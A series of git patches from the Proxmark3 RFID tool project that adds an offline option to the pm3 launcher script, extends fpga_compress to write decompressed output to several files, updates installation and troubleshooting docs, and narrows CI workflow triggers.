Subject: [PATCH 19/77] pm3: add option -o/--offline, more convenient than having to call directly the client bin --- pm3 | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/pm3 b/pm3 index 531f80b39..bfdc4d23d 100755 --- a/pm3 +++ b/pm3 @@ -263,6 +263,7 @@ Description: Usage: $SCRIPT [-n ] [] $SCRIPT [--list] [-h|--help] [-hh|--helpclient] + $SCRIPT [-o|--offline] Arguments: @@ -270,7 +271,7 @@ Arguments: -hh/--helpclient proxmark3 client help (the script will forward these options) --list list all detected com ports -n connect device referred to the N:th number on the --list output - + -o/--offline shortcut to use directly the proxmark3 client without guessing ports Samples: ./$SCRIPT -- Auto detect/ select com port in the following order BT, USB/CDC, BT DONGLE @@ -383,18 +384,31 @@ else echo >&2 "[!!] Script ran under unknown name, abort: $SCRIPT" exit 1 fi -if [ "$1" == "-h" ] || [ "$1" == "--help" ]; then - HELP - exit 0 -fi -if [ "$1" == "-hh" ] || [ "$1" == "--helpclient" ]; then - CMD "-h" - exit 0 -fi +# priority to the help options +for ARG; do + if [ "$ARG" == "-h" ] || [ "$ARG" == "--help" ]; then + HELP + exit 0 + fi + if [ "$ARG" == "-hh" ] || [ "$ARG" == "--helpclient" ]; then + CMD "-h" + exit 0 + fi +done + +# if offline, bypass the script and forward all other args +for ARG; do + shift + if [ "$ARG" == "-o" ] || [ "$ARG" == "--offline" ]; then + CMD "$@" + exit $? + fi + set -- "$@" "$ARG" +done # if a port is already provided, let's just run the command as such -for ARG in "$@"; do +for ARG; do if [ "$ARG" == "-p" ]; then CMD "$@" exit $? From d9cc246468ef2a65a59d63affeab38eaaace4301 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Fri, 4 Jun 2021 22:51:58 +0200 Subject: [PATCH 20/77] now you can... --- pm3 | 1 - 1 file changed, 1 deletion(-) diff --git a/pm3 b/pm3 index bfdc4d23d..0aea8942c 100755 --- a/pm3 +++ b/pm3 @@ -257,7 +257,6 @@ Description: * the correct port name will be automatically guessed; * the script will wait for a Proxmark to be connected (same as option -w of the client). You can also specify a first option -n N to access the Nth Proxmark3 connected. - Don't use this script if you want to work offline. To see a list of available ports, use --list. Usage: From 578b5baa9bed8bbbadde8cfdffa384dbcba062af Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Marlin=20S=C3=B6=C3=B6se?= <30473690+msoose@users.noreply.github.com> Date: Sun, 6 Jun 2021 18:02:36 -0600 Subject: [PATCH 21/77] Update Termux instructions for packages Add `proxmark3-git` package and quick explanations --- doc/termux_notes.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/termux_notes.md b/doc/termux_notes.md index 4e30f0a05..da737b608 100644 --- a/doc/termux_notes.md +++ b/doc/termux_notes.md @@ -85,13 +85,18 @@ ref : https://github.com/Proxmark/proxmark3/wiki/android Install [Termux](https://play.google.com/store/apps/details?id=com.termux) and start it -### Install Proxmark3 package +### Install Proxmark3 package which follows tagged releases ^[Top](#top) Run the following commands: ``` pkg install proxmark3 ``` +### Install Proxmark3 package which offers a more up to date version from git `master` branch +Run the following commands: +``` +pkg install proxmark3-git +``` ### Optional: Building Proxmark3 client from source ``` pkg install make clang clang++ readline libc++ git From 339fd909c6abc5c7304f895368accec17a797807 Mon Sep 17 00:00:00 2001 From: Philippe Teuwen Date: Mon, 7 Jun 2021 22:40:42 +0200 Subject: [PATCH 22/77] fpga_compress: allow decompression routine to deinterleave output in multiple files --- tools/fpga_compress/fpga_compress.c | 100 ++++++++++++++++++++-------- 1 file changed, 73 insertions(+), 27 deletions(-) diff --git a/tools/fpga_compress/fpga_compress.c b/tools/fpga_compress/fpga_compress.c index b98d21cfc..65ae2a33a 100644 --- a/tools/fpga_compress/fpga_compress.c +++ b/tools/fpga_compress/fpga_compress.c @@ -26,8 +26,8 @@ static void usage(void) { fprintf(stdout, " Combine n FPGA bitstream files and compress them into one.\n\n"); fprintf(stdout, " fpga_compress -v ... \n"); fprintf(stdout, " Extract Version Information from FPGA bitstream files and write it to \n\n"); - fprintf(stdout, " fpga_compress -d \n"); - fprintf(stdout, " Decompress . Write result to \n\n"); + fprintf(stdout, " fpga_compress -d \n"); + fprintf(stdout, " Decompress . Write result to \n\n"); } static bool all_feof(FILE *infile[], uint8_t num_infiles) { @@ -140,7 +140,10 @@ typedef struct lz4_stream_s { int avail_in; } lz4_stream; -static int zlib_decompress(FILE *infile, FILE *outfile) { + +// Call it either with opened infile + outsize=0 +// or with opened infile, opened outfiles, num_outfiles and valid outsize +static int zlib_decompress(FILE *infile, FILE *outfiles[], uint8_t num_outfiles, long *outsize) { LZ4_streamDecode_t lz4StreamDecode_body = {{ 0 }}; char outbuf[FPGA_RING_BUFFER_BYTES]; @@ -151,17 +154,29 @@ static int zlib_decompress(FILE *infile, FILE *outfile) { if (infile_size <= 0) { printf("error, when getting filesize"); - fclose(outfile); - fclose(infile); + if (*outsize > 0) { + fclose(infile); + for (uint16_t j = 0; j < num_outfiles; j++) { + fclose(outfiles[j]); + } + } return (EXIT_FAILURE); } + char *outbufall = NULL; + if (*outsize > 0) { + outbufall = calloc(*outsize, sizeof(char)); + } char *inbuf = calloc(infile_size, sizeof(char)); size_t num_read = fread(inbuf, sizeof(char), infile_size, infile); if (num_read != infile_size) { - fclose(outfile); - fclose(infile); + if (*outsize > 0) { + fclose(infile); + for (uint16_t j = 0; j < num_outfiles; j++) { + fclose(outfiles[j]); + } + } free(inbuf); return (EXIT_FAILURE); } @@ -182,14 +197,32 @@ static int zlib_decompress(FILE *infile, FILE *outfile) { if (decBytes <= 0) { break; } - fwrite(outbuf, decBytes, sizeof(char), outfile); + if (outbufall != NULL) { + memcpy(outbufall + total_size, outbuf, decBytes); + } total_size += decBytes; compressed_fpga_stream.next_in += cmp_bytes; } - printf("uncompressed %li input bytes to %i output bytes\n", infile_size, total_size); - fclose(outfile); - fclose(infile); - free(inbuf); + if (outbufall == NULL) { + *outsize = total_size; + fseek(infile, 0L, SEEK_SET); + return EXIT_SUCCESS; + } else { + fclose(infile); + total_size = 0; + for (uint16_t k = 0; k < *outsize / (FPGA_INTERLEAVE_SIZE * num_outfiles); k++) { + for (uint16_t j = 0; j < num_outfiles; j++) { + fwrite(outbufall + total_size, FPGA_INTERLEAVE_SIZE, sizeof(char), outfiles[j]); + total_size += FPGA_INTERLEAVE_SIZE; + } + } + printf("uncompressed %li input bytes to %i output bytes\n", infile_size, total_size); + } + if (*outsize > 0) { + for (uint16_t j = 0; j < num_outfiles; j++) { + fclose(outfiles[j]); + } + } return (EXIT_SUCCESS); } @@ -362,29 +395,42 @@ int main(int argc, char **argv) { if (!strcmp(argv[1], "-d")) { // Decompress - FILE **infiles = calloc(1, sizeof(FILE *)); - if (argc != 4) { + if (argc < 4) { usage(); - free(infiles); return (EXIT_FAILURE); } - infiles[0] = fopen(argv[2], "rb"); - if (infiles[0] == NULL) { + int num_output_files = argc - 3; + FILE **outfiles = calloc(num_output_files, sizeof(FILE *)); + char **outfile_names = calloc(num_output_files, sizeof(char *)); + for (uint16_t i = 0; i < num_output_files; i++) { + outfile_names[i] = argv[i + 3]; + outfiles[i] = fopen(outfile_names[i], "wb"); + if (outfiles[i] == NULL) { + fprintf(stderr, "Error. Cannot open output file %s\n\n", outfile_names[i]); + free(outfile_names); + free(outfiles); + return (EXIT_FAILURE); + } + } + FILE *infile = fopen(argv[2], "rb"); + if (infile == NULL) { fprintf(stderr, "Error. Cannot open input file %s\n\n", argv[2]); - free(infiles); - return (EXIT_FAILURE); - } - FILE *outfile = fopen(argv[3], "wb"); - if (outfile == NULL) { - fprintf(stderr, "Error. Cannot open output file %s\n\n", argv[3]); - free(infiles); + free(outfile_names); + free(outfiles); return (EXIT_FAILURE); } - int ret = zlib_decompress(infiles[0], outfile); - free(infiles); + long outsize = 0; + int ret = 0; + // First call to estimate output size + ret = zlib_decompress(infile, outfiles, num_output_files, &outsize); + if (ret == EXIT_SUCCESS) { + // Second call to create files + ret = zlib_decompress(infile, outfiles, num_output_files, &outsize); + } + free(outfile_names); + free(outfiles); return (ret); - } else { // Compress or generate version info bool generate_version_file = false; From 3629e8ec77e013c969f6c8dfa35ae00a19d825d6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0lteri=C5=9F=20Ya=C4=9F=C4=B1ztegin=20Ero=C4=9Flu?= Date: Fri, 11 Jun 2021 14:18:50 +0300 Subject: [PATCH 23/77] Doc correction for windows and troubleshooting --- .../Troubleshooting.md | 6 +++-- .../Windows-Installation-Instructions.md | 24 ++++++++++--------- 2 files changed, 17 insertions(+), 13 deletions(-) diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 273bab50d..219c86deb 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -175,7 +175,7 @@ When ```explorer.exe .``` doesn't work. Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work. [As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP* -[](www.icedev.se/proxmark3/rdv40/wsl2_p9np.png) +[![screenshot of regedit](https://i.imgur.com/F1x53rf.png)](https://i.imgur.com/F1x53rf.png) ## Troubles with running the Proxmark3 client Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system. @@ -228,7 +228,9 @@ If you get the message ``` Qt: Session management error: None of the authentication protocols specified are supported -``` when running the Proxmark3 client it might be because a a environment variable. +``` + +when running the Proxmark3 client it might be because a a environment variable. Solution: Try running the client without the SESSION_MANAGER environment variable. diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index d9f708a47..25d9bebc3 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -21,7 +21,7 @@ We have listed three ways to use these two setups (dev environment vs pre-compi ## Video Installation guide _note: this video is a bit out-of-date but still informative_ -[![Windows Installation tutorial](https://github.com/5w0rdfish/Proxmark3-RDV4-ParrotOS/blob/master/screenshot-www.youtube.com-2019.03.17-20-44-33.png)](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial") +[![Windows Installation tutorial](https://raw.githubusercontent.com/Chrissy-Morgan/Proxmark3-RDV4-ParrotOS/master/screenshot-www.youtube.com-2019.03.17-20-44-33.png)](https://youtu.be/zzF0NCMJnYU "Windows Installation Tutorial") ## Driver Installation ( Windows 7 ) @@ -92,10 +92,10 @@ to be done (tcprst) WSL 1 requires to run on Windows 10 version 1709 or above. Previous windows versions didn't have support for COM ports. -### stay away from WSL 2 +### Stay away from WSL 2 *Microsoft introduced WSL 2 starting on Windows 10 version 2004 with Hyper-V powering its virtualization; As of 2020-08-13, WSL 2 does not support USB and Serial.* -### +### More about WSL Install WSL 1 with e.g. the standard Ubuntu. You can follow the guide on [Microsoft Docs](https://docs.microsoft.com/en-us/windows/wsl/install-win10) but be careful to follow WSL 1 specific instructions! When they recommend you to restart, you must restart. For WSL configuration, see [Manage and configure Windows Subsystem for Linux](https://docs.microsoft.com/en-us/windows/wsl/wsl-config). @@ -107,23 +107,25 @@ Make sure your WSL can launch Windows processes to get the `pm3` scripts working If you want to run the graphical components of the Proxmark3 client, you need to install a X Server such as [VcXsrv](https://sourceforge.net/projects/vcxsrv/) or [Xming](https://sourceforge.net/projects/xming/) and launch it, e.g. by executing XLaunch. -## Window terminal Installation -Microsoft has recent released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it. -It is also open sourced, ref [terminal](https://github.com/microsoft/terminal). You can download and install from here: [windows terminal](https://aka.ms/terminal) +## Windows Terminal Installation +Microsoft has recently released a new terminal for their OS. It is much better experience than old `cmd.exe` so we strongly recommend installing it. +It is also open sourced (see [github.com/microsoft/terminal](https://github.com/microsoft/terminal)). You can download and install from [GitHub](https://github.com/microsoft/terminal/releases/latest) or [Microsoft Store](https://www.microsoft.com/en-us/p/windows-terminal/9n0dx20hk701). ## Dependencies -Enter WSL prompt (`wsl` or `start windows terminal`) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below: +Enter WSL prompt (`wsl` or Start Windows Terminal) and from there, follow the [Linux Installation Instructions](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) for Ubuntu, summarized here below: + +Make sure your WSL guest OS is up-to-date first: -Make sure your WSL guest OS is up-to-date first ```sh sudo apt-get update sudo apt-get upgrade -y sudo apt-get auto-remove -y ``` -Install dependencies +Install dependencies: + ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ libreadline-dev gcc-arm-none-eabi libnewlib-dev libbz2-dev qtbase5-dev @@ -158,13 +160,13 @@ If group ownership is `dialout` and your user is member of `dialout` group, all sudo chmod 666 /dev/ttySX ``` -If you installed a X Server and compiled the Proxmark3 with QT4 support, you've to export the `DISPLAY` environment variable: +If you installed an X Server and compiled the Proxmark3 with QT5 support, you've to export the `DISPLAY` environment variable: ```sh export DISPLAY=:0 ``` -and add it to your Bash profile for the next times: +And add it to your Bash (or your preferred shell) profile for the next times: ```sh echo "export DISPLAY=:0" >> ~/.bashrc From 2799f8c8f52e41f913d7a24113efb96ba35ef54f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0lteri=C5=9F=20Ya=C4=9F=C4=B1ztegin=20Ero=C4=9Flu?= Date: Fri, 11 Jun 2021 14:34:55 +0300 Subject: [PATCH 24/77] ci: exclude changes to non-source folders --- .github/workflows/macos.yml | 14 +++++++++++++- .github/workflows/ubuntu.yml | 15 ++++++++++++++- .github/workflows/windows.yml | 15 ++++++++++++++- 3 files changed, 41 insertions(+), 3 deletions(-) diff --git a/.github/workflows/macos.yml b/.github/workflows/macos.yml index 27e53d9a5..ed96a3c1f 100644 --- a/.github/workflows/macos.yml +++ b/.github/workflows/macos.yml @@ -1,6 +1,18 @@ name: MacOS Build and Test -on: [push, pull_request] +on: + push: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' + pull_request: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' jobs: macos-make: diff --git a/.github/workflows/ubuntu.yml b/.github/workflows/ubuntu.yml index 2d2b461e3..5926f2fc6 100644 --- a/.github/workflows/ubuntu.yml +++ b/.github/workflows/ubuntu.yml @@ -1,6 +1,19 @@ name: Ubuntu Build and Test -on: [push, pull_request] +on: + push: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' + pull_request: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' + jobs: ubuntu-make: diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index d3e6ee423..9d99c8c06 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -1,6 +1,19 @@ name: Windows Build and Test -on: [push, pull_request] +on: + push: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' + pull_request: + paths-ignore: + - 'doc/**' + - 'docker/**' + - 'traces/**' + - '.vscode/**' + jobs: proxspace: From 9ab8ee4ef71f314051ed524e1f9debd675ca15e0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0lteri=C5=9F=20Ya=C4=9F=C4=B1ztegin=20Ero=C4=9Flu?= Date: Fri, 11 Jun 2021 14:42:13 +0300 Subject: [PATCH 25/77] add xquartz and xcode clitools --- .../Mac-OS-X-Homebrew-Installation-Instructions.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md index dbd2b2636..fc3b51c47 100644 --- a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md @@ -18,11 +18,15 @@ Visual Studio Code still runs under Rosetta 2 and if you're developing for proxm ## Install Proxmark3 tools -These instructions comes from @Chrisfu, where we got the proxmark3.rb scriptfile from. -For further questions about Mac & Homebrew, contact @Chrisfu (https://github.com/chrisfu/) +These instructions comes from \@Chrisfu, where we got the proxmark3.rb scriptfile from. +For further questions about Mac & Homebrew, contact [\@Chrisfu on Twitter](https://github.com/chrisfu/) + +0. Install XCode Command Line Tools if you haven't yet already done so: `xcode-select --install` 1. Install homebrew if you haven't yet already done so: http://brew.sh/ +2. Install xquartz: `brew install xquartz` + 2. Tap this repo: `brew tap RfidResearchGroup/proxmark3` 3. Install Proxmark3: From 81bbeb6e615d0767c770970b73d1ff1e9be3a8b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C4=B0lteri=C5=9F=20Ya=C4=9F=C4=B1ztegin=20Ero=C4=9Flu?= Date: Sat, 12 Jun 2021 04:51:20 +0300 Subject: [PATCH 26/77] change image location inside repo --- .../Troubleshooting.md | 2 +- doc/md/Installation_Instructions/wsl2_p9np.png | Bin 0 -> 24847 bytes 2 files changed, 1 insertion(+), 1 deletion(-) create mode 100644 doc/md/Installation_Instructions/wsl2_p9np.png diff --git a/doc/md/Installation_Instructions/Troubleshooting.md b/doc/md/Installation_Instructions/Troubleshooting.md index 219c86deb..35e0ce830 100644 --- a/doc/md/Installation_Instructions/Troubleshooting.md +++ b/doc/md/Installation_Instructions/Troubleshooting.md @@ -175,7 +175,7 @@ When ```explorer.exe .``` doesn't work. Trying to access the dump files created in WSL, you will need to run ```explorer.exe .``` but sometimes this doesn't work. [As seen here](https://github.com/microsoft/WSL/issues/4027) they suggest checking the following registry value for *P9NP* -[![screenshot of regedit](https://i.imgur.com/F1x53rf.png)](https://i.imgur.com/F1x53rf.png) +[![screenshot of regedit](/doc/md/Use_of_Proxmark/wsl2_p9np.png)](/doc/md/Use_of_Proxmark/wsl2_p9np.png) ## Troubles with running the Proxmark3 client Some reports has stated that they needed to execute the Proxmark3 as root on their *nix system. diff --git a/doc/md/Installation_Instructions/wsl2_p9np.png b/doc/md/Installation_Instructions/wsl2_p9np.png new file mode 100644 index 0000000000000000000000000000000000000000..9a8aa97bfa6fe38e54085202979b1e1b255c0ce6 GIT binary patch literal 24847 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 